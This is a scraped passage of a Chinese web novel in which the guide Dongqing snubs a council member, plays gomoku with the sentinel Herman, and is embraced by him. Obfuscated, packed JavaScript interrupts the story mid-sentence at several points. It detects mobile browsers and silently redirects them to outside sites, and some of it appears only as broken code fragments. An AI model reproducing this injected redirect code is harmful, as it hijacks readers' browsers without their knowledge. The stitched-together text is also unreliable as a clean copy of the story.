;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15424390|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么也会出现污染物,今天下午开始高层议会的议员好像就一直在商讨什么,希望他们赶紧找到问题在哪,以后不要再发生这种事了。” 冬晴拍了拍她表示安慰,不知想到什么,突然感慨:“系统妹妹,这大概就是我成为凤傲天的必经之路吧!” 艾拉:…… 艾拉:又在说奇怪的话了。 第二天,冬晴是被一阵有些遥远的敲门声吵醒的。 之所以说遥远,是因为那人敲的并不是她现在所在房间的门,而是隔壁—— 也就是她真正宿舍的门。 说明是来找她的。 冬晴轻手轻脚地从床上起来,踩着拖鞋过去开门。 时诺看着被自己从隔壁宿舍敲出来的冬晴,诧异地指了指面前的门牌号:“抱歉,我记得你是住在这间?” 冬晴睡眼惺忪地点了点头,带上艾拉的房门,说:“我昨晚没睡自己房间。老板,这么早找我什么事?” 时诺道:“因为昨天的意外,高层议会的人要见你,现在洗漱完我带你直接过去,可以吗?” 高层议会的人要见她? 啊,毕竟出了那么大的意外,竟然把污染物放进老巢来了,还卷入一个无辜向导。 根据白塔人民善良淳朴的性格,当然要亲自向她表达歉意,并且进行补偿了! 可以理解。 冬晴比了个“ok”的手势,又把人请进宿舍随便坐坐,随后带着衣服进卫生间收拾自己了。 等到叼着个早餐面包走出女性向导宿舍区域,她听见身旁的时诺迟疑道:“你的状态似乎很不错?比我见过的很多第一次被污染的哨兵都稳定。” 额……冬晴这要怎么回答,难道说是因为自己跟瑞尔抱抱了吗。 虽然确实是这样,但怎么听怎么奇怪啊。 她欲盖弥彰地狂咬两口面包,含糊其辞:“哈哈,那应该是同事朋友们的功劳,他们人实在都是太好了!” 冬晴说完毫不吝啬地比了个大拇指。 时诺若有所思地垂眸瞧她,没有再说什么,而是将话题岔开:“待会你要见的是高层议会的三席议员,男性,A级哨兵,名叫秦里。” A级哨兵也能当议会三席,看来高层并不以武力值定高低。 眼看就要进电梯,冬晴囫囵把面包全塞进嘴里,扔掉包装袋:“嚼嚼嚼……那老板你是几席……嚼嚼嚼。” “五席。”时诺回答,他按下电梯按键后继续补充,“高层议会共有十五席。” 冬晴了解地点点头,顺口拍了个“老板你真厉害”的马屁。 沉默了一会儿,又问:“那三席找我就是因为昨天的事吧?我有没有需要特别注意的地方?” 她话音刚落,电梯门就“叮”的一声打开。 从未领略过的白塔面貌在她眼前铺陈开来。 路过的几位来往者全都衣冠楚楚、不苟言笑。 肃穆的气息扑面而来,冬晴甚至在这冷淡严肃的氛围里品出一点儿不可避免的傲慢。 一个令她不适的地方。 时诺领着她走出去,兴许是快要到达目的地,于是加快了语速:“不用担心,不管他说什么,你只要照自己的想法回答就可以,如果有任何问题,直接出来或者想办法发出动静,我会帮你。” 他们已经走到了秦里的办公室门外,时诺抬手敲门前发现冬晴似乎还没有回答。 于是他转头—— 发现她正低着脑袋,眯着眼睛观察地板。 冬晴:我去,瓷砖里亮闪闪的东西是金子吧?壕无人性啊! 17. 第 17 章 “听到我说的话了吗?” 冬晴的头顶被人轻轻拿手指敲了敲。 她从金钱的诱惑中回过神来,抬头看到时诺那张无奈的脸。 “我听着呢老板。”冬晴摸了摸头顶回复,防止他不信,还简单概括了一下他的意思,“要是真不爽了就掀桌跑路摇人!” 时诺对她雅俗共赏的词汇表示接受良好地点了点头,这才放心敲门。 听到一声“请进”后,冬晴只身开门进去。 这间办公室很大,比冬晴和艾拉的双人休息室都宽敞得多。 装潢也处处透着逼格满满的低奢情调,冬晴唯唯诺诺地一抬眼—— 和一座巴掌大的、全金的、外国尿尿小孩雕塑面面相觑。 冬晴:抱歉,姐姐不是故意要看的。 令她感到震惊的不仅是这亮瞎狗眼的金属材质。 更是在这样一个王八怪物到处跑的世界里,这人竟然还有看小孩尿尿的雅兴。 真是失敬失敬。 “冬晴向导?你对这个装饰品很感兴趣?”一旁被忽视了长达三十秒的秦里开口道。 “没有没有,我不是很懂艺术。” 冬晴讪笑着,不动声色地转身面对办公桌,终于见到了秦里的真面目。 那是一个西装革履的男人,起码在白塔生活到现在,冬晴还没见过那么西装的西装。 头发打理得一丝不苟,看起来文质彬彬,笑容中还有几分不太明显的亲和力,让她幻视一些以前的企业高层精英男士。 “三席。”冬晴主动和他打招呼。 “你就是冬晴向导?过来坐吧。”秦里摊手指了指自己对面的座位。 冬晴依言走过去坐下,双手摆在膝上,等他先开口。 “昨天的事吓到了吧?是我们的失误,让白塔的防御系统出现了一个几秒钟的漏洞。”秦里并没有推卸责任,又问,“你的污染情况如何?” 冬晴抬眼直视他,然而只从这个男人的眼里看出了一点标准的和善笑意,并没有他话里的抱歉情绪。 她连时诺都没透露真实情况,还想告诉他? 呵呵,那还是做梦比较快。 于是双料导后·冬晴开始发力。 她皱着眉,似乎完全不愿回想那折磨人的画面:“污染让我十分痛苦,从昨天下午到现在,我甚至都没有办法合眼,因为一闭上眼睛,脑子里就会出现那种可怖的东西,我知道向导没有办法净化,这令我更加绝望……” 秦里此番不是想要听她诉苦,于是适时打断道:“好了冬晴向导,我为你的遭遇感到十分同情,也代表所有议会成员表达真挚的歉意,我们会在今天的下午四点前补发你六个月的工资作为补偿,希望能稍稍安抚你的情绪。” 冬晴已经在心里翻了八百个白眼了。 她差点去死了好吗?还留下了永久心理阴影! 这种级别的工伤她完全能告到这狗议会破产好吗?! 几句不痛不痒的话,补发半年工资,竟然就把她打发了?这里还有没有人权?! 劳动法呢?她要仲裁!要诉讼!要告到中央!! 然而这里显然什么都没有,只有一个尿尿小孩纯金雕像。 抢在冬晴开口为自己再争取一下补偿待遇之前,秦里又突然意味深长地说:“冬晴向导,其实我原本早就该见你一面。” 冬晴嘴角一抽:就补发六个月工资,你先去见见那超级无敌大王八吧。 秦里说完还特意停顿了一会儿,应该是希望冬晴发出一些带着崇拜期盼的疑问,毕竟这可是议会三席说要见她。 但,硕大的办公室陷入一分钟的沉默后,冬晴还在心痛缅怀六个月工资。 秦里只好轻咳两声,独自把话接上:“听说你完成过跨级链接,高层议会对这个项目十分重视,虽然你很快就产生了失忆的后遗症,但我们一致认为你具备这个能力,希望你能继续这项研究……” “只是不知道时诺怎么搞的,突然之间说什么计划太过冒进,力排众议地不肯通过议案,偏偏他又是你们向导的最高代表,一个五席,还真抗着压力没把你带来。” 他话里有真情流露的轻蔑和不悦,冬晴听得只想把自己的双耳关上。 第一次见面,就开始挑拨他们的上下级关系,抹黑自己的顶头上司。 这要是被HR知道怎么办?肯定以为她要跳槽啊! 老板,她此刻的衷心绝对是日月可鉴!她才不要在这种办公室放着尿尿小孩雕塑的人手底下工作!! “三席。”冬晴眼神清澈,态度真诚地喊了他一声,然后开始半真半假地扯谎,“其实失忆之后,我也几次想要再试试跨级链接,但都无一例外的失败了,虽然很不甘心,但不得不承认,我真的失去这项能力了。” 她一边说,一边默默低下头,泫然欲泣,无比自责。 秦里神色不明地盯了她几秒,最后失去兴趣般移开了视线:“啊,倒真和时诺说的一样。” 冬晴:??! 她心里惊了一跳,却不敢有任何动作。 这阴险狡诈的男人!恶心!下作! 还有她的老板,是呆瓜吗?这种事都不提前和自己串通一下的吗?要是不小心给露馅儿了怎么办?! 她早说了,除了B级,这里根本没有正常人!! “好了。”秦里莫名抽了张纸巾擦手,打开手边的全息,不再看她,淡淡道,“既然这样的话,也就没什么事了,冬晴向导,你可以离开了,不要让时诺久等。” 这种人真是,让她生出一股无名火啊。 冬晴从座位上站起,整个人显露出一种格外的放松,忽然开口:“对了三席,有没有人告诉过你,你的品味……” 她欲言又止,在秦里缓缓看过来的目光中,朝他含歉一笑,一副一切尽在不言中的样子:“算了,这种事,还是您开心比较好,我先走了。” 挑衅得光明正大。 她转身就走,听到背后那句阴沉的“你什么意思”也没有停下脚步。 开玩笑,虽然这个世界的人都很奇怪,但奇怪的好人和奇怪的坏人她还是分得清的! 莫名其妙地把她叫过来,面对自己工作失误的受害者还高高在上的样子。 觉得她可用时就给个六个月工资的甜枣,没用了又开始甩脸子,甩给谁看呢? 一个暂时的、上司的对头,难不成还等着她端茶倒水吗? “砰”一声,冬晴潇洒把办公室门重新合上了。 时诺见她出来,起身问:“怎么样?” 冬晴给自己比了个大拇指:“还行,把人开罪了。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15431332|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 时诺:? 冬晴问:“他应该不能拿我怎么样吧?” 时诺点头:“嗯,我是你老板。” 冬晴默默把大拇指送给了他:“老板,你可一定要稳稳地坐在五席的位置上啊。” 两人一起回向导区,路上冬晴把办公室里的情形跟时诺又重复了一遍,并且狠狠谴责了他说谎不和自己通气的行为。 时诺淡笑着道了歉:“一时心急,给忘了。” 反正被她的聪明机智给圆回来了,没酿下什么大祸。 冬晴便没计较,想着秦里跟她交涉的样子,不解问:“高层议会的人都这样吗?白塔就被这些人掌控着?” 时诺反问:“这样是哪样?” “伪善?傲慢?”冬晴也不知道要怎么形容,最后小声嘀咕,“反正跟我在白塔见过的人都不一样,反而像我那个世界的很多人。” 也不知道时诺到底听没听清,听没听懂,他只是温和地说:“我不太能准确了解你对人们性格的划分,但你可以亲自来看看,他们和你想得是否一样。” 冬晴闻言愣了愣。 这是叫她进入高层议会的意思吗? 不过她暂且没有要和那些人打交道的想法。 还不如好好待在她的底层,有系统妹妹,有小猫小狗,有良心老板,还有美人可赏,这就是向往的生活啊! 时诺见她没说话,便也不多问,忽然想起了什么:“对了,我昨天整理办公室的资料,发现你那张画着很多格子的纸不见了,是你拿回去了吗?” 画着很多格子的纸? 说的是她玩五子棋的那张草稿纸吧,冬晴想,她老板简直恐怖如斯,连每一张草稿纸的动向都要了解清楚。 冬晴诚实说:“你叫赫尔曼队长盯着我的那两天,我拿走和他接着下五子棋了,最后是我先去吃晚饭,那应该就是他收拾的桌子,被他扔掉了吧。” “好,我知道了。”时诺回答。 那个格子上面有很多黑白点的游戏,叫五子棋。 说到赫尔曼,冬晴想起自己还没为昨天的事跟他道谢。 话说他好像很害怕那些污染物吧,上次出任务回来都失控了来着,在白塔里还要看见这种东西,只怕心理阴影面积不比她小。 于是她问时诺:“赫尔曼队长来找你净化过了吗?” “没有。”时诺说,“不过昨天下午看到他,确实心情很差的样子。” 冬晴立刻对自己的上司表示鄙夷:“老板,您总共就两名S级哨兵要管,怎么还不闻不问的,也太没医德了吧。” “谁说就两名……”算了,重点不在这儿,时诺耸肩无奈道,“他自己不肯来净化,我总不能逼着,万一又失控怎么办。” “好吧。”冬晴从善如流地选择换个人指责,对赫尔曼的心理做出评价,“讳疾忌医。” 时诺无言轻笑一声。 电梯即将下行到向导区楼层,她猛然想起很重要的事,激动地看着时诺:“老板!我的论坛账号!还有那个置顶帖子!” 时诺一脸无辜地回视她,仿佛毫不知情的样子。 冬晴无语地瞪他:呵呵,装,再给我装。 下一秒,电梯门打开—— 论坛惨案的帮凶,“讳疾忌医”的赫尔曼赫然站在外面。 18. 第 18 章 还真是巧啊。 正好在这儿碰见,冬晴觉得是个不可多得的时机,就打算迅速抒发一下自己的感激之情。 她一边往电梯外走,一边抬手高兴道:“嗨,赫尔曼队长,昨天污染物的事还没跟你道谢,非常感谢你……” 冬晴跨出电梯,赫尔曼从她身边面无表情地往里走。 冬晴:? 无视她?这人心情差到都已经不理人了吗? 谁料—— 擦肩而过时,她的后颈却猝不及防被他拎住。 还没等她有所反应,人就已经被拉回电梯轿厢里了。 冬晴:??? 冬晴:“喂?喂喂喂!什么情况?!绑绑绑、绑架?!” 不会又失控了吧?! 她惊慌失措地抬眼看向电梯外的时诺,满脸写着“老板救救我”五个大字。 然而,时诺站在电梯外,只朝她露出了一个爱莫能助的微笑。 甚至,在电梯门重新合上之前,她还看到自己的老板和拎着她的绑架犯互相点头打招呼。 冬晴:喂老板!你那表情完全就是在说“撕票吧”?! 啊啊啊啊!这群蛇鼠一窝、狼狈为奸的S级!! 电梯已经在缓慢上行,冬晴这时候也没办法出去。 赫尔曼把她绑进来之后又不说话,她简直莫名其妙到头疼,主动问:“赫尔曼队长,你这是要去哪?” “高层议会。”赫尔曼答,“首席找我。” 又他爹的是高层议会?她刚从那里下来啊?! 冬晴生无可恋:“我请问赫尔曼队长,你去找首席,拎着我是想干嘛?!” 赫尔曼淡淡地瞥了她一眼,反问:“你有别的事?” 冬晴:“那倒没有,老板还不让我工作……” 不对。 这跟她有没有别的事有什么关系?! 现在绑架还流行挑别人空的时候吗?! 跟这种强词夺理还理直气壮的人聊天真的会气死。 冬晴幽幽地瞪了他一眼,警告道:“赫尔曼队长,你最好别被我当成奇怪的坏人了,不然下场很惨的。” 电梯门打开,赫尔曼拉着她走出去,想了想,问:“那我现在是什么人?” “现在是奇怪的……” 冬晴顿了顿,开始回忆。 除了见到他的第一面,自己没管住嘴,被她幻视出“小心我弄死你”的表情,还有他对她狗腿老板的行为表达过看不惯之外,其实也没什么特别不愉快的。 甚至两人还一起下过五子棋,他昨天刚救过她一命。 “奇怪的好人吧。”冬晴把话补充完。 只不过是混乱善良的那种好人…… “那瑞尔呢,他是什么人。” 赫尔曼走在前面,看不到神情,说话时总是一个语调,听起来像是随口一问。 瑞尔?怎么突然问瑞尔,冬晴想。 不过还是认真思考了一番,她现在已经不怎么觉得瑞尔奇怪了,但非要说的话。 “当然也是奇怪的好人。”冬晴回答。 非常守序善良的好人! 赫尔曼在这时突然停下脚步,应该是已经走到首席办公室了。 他转过身,没有继续上一个话题,对冬晴说:“在这里等我一会儿。” 什么鬼啊…… 冬晴真有点忍不了了,直接问:“您找我到底有事吗?如果没事的话我要回去了。” 赫尔曼半天没说话,只是盯着她,眼神复杂。 冬晴真被搞得有点怕怕的,觉得很有必要让他早点去时诺那儿净化一下。 “那你跟我一起进去。”赫尔曼说完就要拉着她开门。 冬晴吓得瞪大眼,挣扎起来,彻底破防:“喂喂喂喂!” 这人到底在想什么?这也太奇怪了吧! 伤不起,真的伤不起…… 她立刻举起双手表示投降:“我我我、我等你!我等你行了吗?你赶紧进去吧!!” 赫尔曼似乎在辨别她话里的真假,然而辨别无果,机智地放出了精神体守在她身边。 “我很快出来。”他说。 冬晴看着他的身影消失在门后,自己则罚站似的立在门口,和一条杜宾犬面面相觑。 她闭了闭眼,脑子里有个声音在响—— 这里到底有没有正常人?如果怪人会飞的话,这里简直就是飞机场嘛!! 她站没站相地在门外待了一会儿,也不知道赫尔曼要多久才能出来,便随意找了把走廊上的长椅坐下。 杜宾犬则亦步亦趋地跟在她身后。 冬晴无聊地单手托腮,看着面前的狗发呆: 应该不能摸吧。 精神体跟主人通感,要是赫尔曼在里面发现自己在摸他的狗,又要露出那种“你不想活了吗”的表情了吧。 但,冬晴这人活着没别的,就四个字,嘴欠手痒。 而且她今天真的看赫尔曼很不爽。 左右人也不在跟前,要是真问起来,她就说是有个路过的人摸的—— 就办公室里放着尿尿小金人的那个。 好一招祸水东引,借力打力,冬晴感觉自己是天才。 她果断伸出手,摸了把杜宾犬的头。 没过瘾。 再摸摸下巴。 再摸摸脖子。 “哇,这皮毛,油光水滑的,怎么保养得这么好……”冬晴一边小声嘀咕,一边对它上下其手。 杜宾犬乖乖在她面前蹲坐着,没有半点要反抗的意思。 好了,不能再摸了。 冬晴刚克制地收回手,面前的门就突然打开了。 冬晴:!! 什么叫操作!什么叫细节!这波卡点卡得刚刚好!! 她站起身,嘴角憋不住地上扬,心虚地把手背到身后,还要假装什么也没发生过。 看见赫尔曼走出来,她方要上前,却因为和他一同出来的男人站住了脚步。 那是个四五十岁的中年男人,一头张扬的红发,气质却沉稳老练,下巴冒着胡茬,身上披着件军大衣外套,十足的军官气派。 这应该就是高层议会的首席议员了。 发现他朝自己看了过来,冬晴下意识和他点头打招呼。 反应过来后觉得有点太随便,刚要开口补一句“首席好”,却看到中年男人同样朝自己点头致意。 随后大步离开了。 “刚刚那个红头发的是首席?”冬晴今天第二次站在回程的电梯里,问道。 赫尔曼:“嗯。” 冬晴点点头。 首席看起来倒是很正气凛然的样子,比三席那个人模狗样的家伙好多了。 电梯门打开,两人一起往外走,冬晴余光瞥着身边的人,缩了缩脖子,很怕又被拎起来。 “我要回休息室了,你是不是要去训练?”她问。 赫尔曼看着她,认真回答:“我其实不怎么需要训练。” 冬晴:…… 冬晴:知道了知道了,S级了不起,行了没? 她随口接话:“那你要干嘛,跟我去下五子棋?” 在她诡异到惊恐的目光里,赫尔曼慢慢点了头,他说:“可以。” 冬晴:五子棋什么的先放一边,我觉得你这个精神状态,还是先去找时诺聊聊吧。 但赫尔曼的样子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15436298|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 实在太认真,冬晴也不好让他觉得自己在耍他。 休息室是她和艾拉两个人的地盘,她不想带别人长时间待着那里,只好道:“那去我静音室玩吧。” 赫尔曼很好说话似的再次点头:“可以。” 两人走到冬晴的静音室里,她找出纸和笔,同赫尔曼坐在沙发上。 按照老规矩,她画了几个歪歪扭扭的棋盘,执黑棋,先手开始。 ——连败三局。 冬晴傻眼了。 她这个从学生时代起就和同桌苦玩五子棋的人,竟然彻底输给了不久前连五子棋是什么都不知道的人? 她不能接受:“你是不是回去偷偷钻研了?你是不是背着我跟别人对弈练技术了?你是不是荒废训练每天就想着五子棋了?!” 赫尔曼摇头。 他确实没有再下过五子棋,只不过常常对着那张被他拿走的草稿纸发呆,想得多了,好像就研究明白了。 “我平时都在训练。”他解释。 冬晴已经被失败蒙蔽了双眼:“你不是说你不需要训练吗?!” 赫尔曼:“我确实不怎么需要去训练,但我还是会去训练。” 什么乱七八糟,冬晴想,这么绕口的话都能被他讲得毫无起伏。 看她兴致渐缺,赫尔曼主动拿起笔,学着她的样子在纸上画棋盘。 冬晴在心里哀叹一声,随后猛地坐直身子,撸起袖管,拿了笔。 她就不信了! 又下了十余盘,冬晴最后连胜三把,见好就收,直接把笔摔在桌上:“哼哼!我就说嘛,前面那都是侥幸,我还没进入状态,让着你的!” 赫尔曼没说话。 想着他到底是自己唯一的棋友,也不能这么打击,于是改口:“但你其实还挺有天赋的,如果你是B级向导的话,我肯定给你发一个‘五子棋青年杯金奖’。” 她说着往沙发后躺去,放出自己的精神体,百无聊赖地往上抛着玩。 灰色小球经过这几天的恢复,已经开始稍泛绿光了。 “啪叽”、“啪叽”。 整个静音室里回荡着小球下落,在冬晴手里摔作一滩的声音。 再一次上抛,不小心没掌握好力度,小球下落的轨迹偏移,冬晴连忙伸长手去接。 然而还是差了一点。 “啪叽”。 赫尔曼不知何时放出了精神体,杜宾犬敏捷地跳跃起来,用嘴稳稳当当地衔住了小球,避免它摔在地上。 冬晴喜笑颜开,满脸欣慰地写着“好狗”二字,向杜宾犬懒洋洋地摊开了手,等着它乖乖把小球还给自己。 怎料杜宾犬只看了她一眼,便快速绕开,回到赫尔曼身边,把球放到他伸出的手里。 “这就是你说的,把精神体当玩具?”赫尔曼的目光落在莫名有些紧张的冬晴身上。 她刚要扯出点笑容让他把东西还给自己,却见赫尔曼大手一握,将冰凉的小球捏得变形。 冬晴:!!! 像是有电鳗在她神经里游过似的,一股酥麻的电流感蓦地从脚底往上窜过全身。 和自己捏的感觉完全不一样…… 她难以遏制地闭了闭眼,忍耐着陌生的掌控感,表情皱在一起,手脚蜷缩,嘤咛了一声。 稍稍缓过劲来后更是感到灭顶的羞耻,直接站起身来要去抢:“还给我!” 赫尔曼却在这时又是一捏。 冬晴立刻整个人发软,跌落下去。 被他伸手拦住。 趴在赫尔曼结实的手臂上,冬晴整个人抖了一下,随即抬起头,正颜厉色,咬牙切齿地问他: “赫尔曼,你是觉得我好欺负吧?” 19. 第 19 章 赫尔曼因为她的话而怔住。 冬晴则用力将他拦着自己的手臂撇开,没有了支撑的东西,直接瘫坐在地毯上。 杜宾犬在一旁轻微地呜咽了一声,整只狗伏去地上。 赫尔曼后知后觉地松开手里的东西,将颤栗的小球摆在沙发上,想要去把冬晴扶起来。 冬晴依旧面颊泛红,却目露凶色地盯着她。 奇异而陌生的感觉确实让她有些失控,慌乱到情绪外泄,她急于用质问的方式把自己的掌控感拿回来。 “如果是时诺向导,你还会这样戏弄他吗?你不就是看我好欺负!” 当然不会一样对待,但并不因为什么“戏弄”。 赫尔曼觉得他和冬晴之间有着很大的理解上的误差,但一时也不知道该怎么把这道天堑夷平。 “抱歉。”他蹲下身,试探地握住冬晴的手臂,见他没有再甩开,才继续道,“是我的不对,以后不会了。” 他的声音里难得带一点歉疚的起伏,目光定定地投在她脸上,有点灼热。 冬晴不自在地把视线移开。 这帮狗怎么都这样……瑞尔也是,赫尔曼也是。 道歉道得人心里特别熨帖,滔天的怒火被从头浇了盆水似的,一下子连点火星也冒不起来了。 赫尔曼见她呼吸渐渐平稳下来,扶着她的手臂让她从地毯上起来,坐到沙发上。 他把精神体小球很轻地拿起,放回她手上,声音又低又哑,很磨耳朵:“不是戏弄的意思,让你不舒服了?” 舒不舒服的…… 冬晴撇开脸,把精神体收回去,吸了吸鼻子,感觉有点丢脸,索性不说话。 杜宾犬放轻脚步地走过来,喉间“呜呜”委屈轻响着,用头蹭她的腿。 见她没反应,又蹭了两下。 这根本就是在求摸吧…… 她犹犹豫豫地把目光瞥向赫尔曼,发现他一直在看自己,有点生硬地问:“能摸?” 赫尔曼眼神里竟然闪过一点隐约的笑意:“不是已经摸过了吗,可以摸。” 根本就没有给她狡辩一下之前高层议会里其实是别人摸的余地。 冬晴双手抚摸着杜宾犬的脖子时,突然生出一股双标的心虚。 一直都对别人的精神体上下其手的,自己的精神体给别人玩一下却发火了—— 唉,主要是她已经说了不同意了他还捏,而且那感觉实在太奇怪了。 她问:“我摸它你不会不舒服吗?” 赫尔曼没说话,反应略显迟钝地摇了摇头。 果然是因为她的精神体太小了吧,冬晴想,如果也是个动物的话,给人摸两下应该也是没什么问题的。 气氛缓和下来,冬晴也不想和同事把关系搞僵,半技巧半感情地关心他一下:“时诺向导说你昨天没有去他那里净化。” 赫尔曼应了一声:“没怎么被污染。” 冬晴一脸“你看我信吗”的表情:“但他说昨天看见你心情很差,而且你上次出任务回来都失控了,明明就很害怕吧?” “不是害怕污染物。”赫尔曼告诉她。 冬晴看他不像嘴硬逞强的样子,把摸着杜宾犬的手放下,疑惑地扭头盯他一会儿,又转回去,想不明白地问:“那是害怕什么?” “害怕……” 赫尔曼顿了顿,眼眸低垂,再开口时声音哑得有些变调:“一个人。” 话音刚落,冬晴感到有双手从腰后伸出,环着她,后颈抵上了某人的脑袋—— 赫尔曼从身后抱住了她。 冬晴整个人僵直,大脑宕机,听到因为肌肤相触,所以格外清晰地感到震颤的嗓音:“这样,也会让你不舒服吗。” 空气里漂浮的尘埃在那一刹都好像静止不动了。 到底、到底是什么情况啊?! 有瑞尔和星隅的经历,她现在倒没那么惶恐了,只不过还是不敢轻举妄动,只有一双眼睛代偿似的疯狂乱眨。 她磕磕绊绊道:“比、比捏我的精神体好得多,但这、这还是有一点奇怪吧……” 赫尔曼抱着她的动作依旧没有松开。 冬晴觉得这感觉有点熟悉,忽然想起,同样作为直面污染物的人,昨天她曾难以遏制地想要靠近瑞尔。 所以……在深陷恐惧的时候,赫尔曼脑海里的那个人,是她吗? 这个世界都把人逼成什么样了!竟然会让他对棋友产生这样的依赖!! 内心叫嚣完,冬晴眼帘逐渐垂下,有些内疚地小声问:“你昨天心情不好,是因为我让你一个人了吗?” 室内很静,她没有得到任何回答,只听到身后传来一声微乎其微的吞咽声,腰上的手臂收得更紧。 冬晴的后背贴住他的胸膛,能感受到他胸腔里的心脏正在有力地跳动。 她尽量让自己放松下来,长长吐出一口气。 杜宾犬闭着眼,脑袋依赖地趴在她的腿上。 - 眼看着就要复工,最近时诺向导又叫她帮自己处理一些基础的文件。 反正都能算进业绩里,她也闲得没事干,冬晴还是十分乐意的。 每天就等着老板在光脑上给她发消息,然后麻溜地赶去干活。 这天她在午休时从论坛上看到些消息,一跑来就找五席上司求证:“老板,他们说伊莱和星隅的小队要回来了,真的吗?” 时诺点头回答:“第三小队在前天完成任务,已经回程两天了,会在路上和第一小队汇合,应该三天后就能一起到达。” 冬晴听得有点懵。 怎么有三支小队? 她知道赫尔曼是第二小队的队长,就下意识以为伊莱是第一小队的队长。 但听老板的意思,伊莱是第三小队,第一小队似乎另有其人。 不过显然也是一支S级战队。 冬晴疑惑地问:“我失忆后的时间里第一小队一直在出任务吗?我好像都没听说过他们。” 时诺笑了笑:“第一小队的队长游金,他的污染阈值很高,很多时候出完任务回来都不需要我净化,所以会给他派周期较长的任务。” 简称心理素质非常强大,适合长期高压环境工作。 是不可多得的先天上班圣体。 冬晴在心里默默给这位素未谋面的游金队长比了个大拇指。 - 从今天凌晨起,白塔论坛内就热闹得不像话。 自从冬晴借着匿名账号在里面掀起过一阵标题党狂潮后,论坛的画风就朝着奇怪的方向一路狂奔拉不回头了。 比如此刻,临近饭点,静音室久久没来人,冬晴闲来无事逛论 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15442609|169086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 坛,就发现主页全是这样的帖子。 [保护我方向导]:惊!三位S级哨兵即将齐聚白塔,上次看到这种场面还是在上次! [梦想上二休五]:每日一问,亲爱的游金队长回来了吗? [不升A级不改名]:白塔美男图鉴前三名,谁是你的top1? [不想上班]:啊啊啊啊!看到伊莱队长和游金队长了!好帅好帅好帅! 刷到最后一条比较正常的帖子,冬晴这才知道为什么一早上都没什么人来净化。 估计都蹲守在白塔入口处想要给归来的哨兵接风洗尘。 她原本是想去的,但又想着这次是两支队伍一起凯旋,阵仗必然比上次还要隆重。 人太多,挤来挤去的也不舒服,干脆就等他们进了白塔再见,也不急这一时半会。 工作结束,她给静音室设置了关闭状态,打算去食堂吃饭,边往外走边给艾拉发消息。 [冬晴]:我们艾拉妹妹去吃饭了没有呀?想不想跟姐姐一起? [艾拉]:冬晴姐千万别来食堂!!那帮刚刚在入口处的人现在全涌来吃饭了!! [艾拉]:我刚刚吃完得赶紧去静音室,感觉下午得无缝净化八百个TT! [艾拉]:碰到了瑞尔哨兵,我叫她帮你带一份饭回休息室! 冬晴看着艾拉一气呵成发来的三条消息,脚步一转,立马朝休息室的方向走。 [冬晴]:我们妹妹对我真是太好了,这个月还给你发六份奖金! [艾拉]:冬晴姐威武!我将一辈子追随你! 两人又闲聊了没几句,艾拉就进静音室工作了。 冬晴只能关闭光脑,一个人在无比空旷的向导区走廊里走着。 身后突然回荡起一阵无比欢快迅捷的脚步声。 “姐姐——” 冬晴一听声音就知道来人是谁,匆匆转身,直接被扑了满怀。 虽然冲击力稍稍有点大,但腰被一只手臂稳当地揽住。 人没后退半步,反而是脸埋进了男孩的胸膛。 “真是的……” 冬晴从他的怀里退开一点距离,仰头看见瑞尔那张永远活力满满的笑脸。 “来得怎么这么快……”她话说到一半,发现他的脸颊上不知从哪儿蹭来了一点灰,显得脏兮兮的。 瑞尔此时一手拎着她的食盒,一手虚搭在她的腰侧。 冬晴便索性伸出自己手,用自己的指腹去抹那一块污渍:“怎么把脸给搞脏了?” 瑞尔很喜欢她这样亲昵的举动,也很喜欢她用专注的目光看着自己。 她的手指在自己脸上蹭得很痒,但瑞尔也没有躲开,眼神发亮,乖乖回答:“应该是训练的时候沾上的。” 冬晴踮起了脚,手指愈发用力:“你别动,这有点难擦。” 瑞尔垂眸看着她越靠越近,已经近在咫尺的面容,视线下移,从眼睛到鼻尖到嘴唇。 他呼吸加快了两秒。 好想凑上去…… “冬晴……向导?” 正当她全神贯注地想把小狗变干净时,不远处又有一道温柔而惊讶的声音响起。 冬晴脚跟落回地上,错过了瑞尔有些迷茫的眼神。 她往旁边走了一步,看到正面朝自己走来的两人。 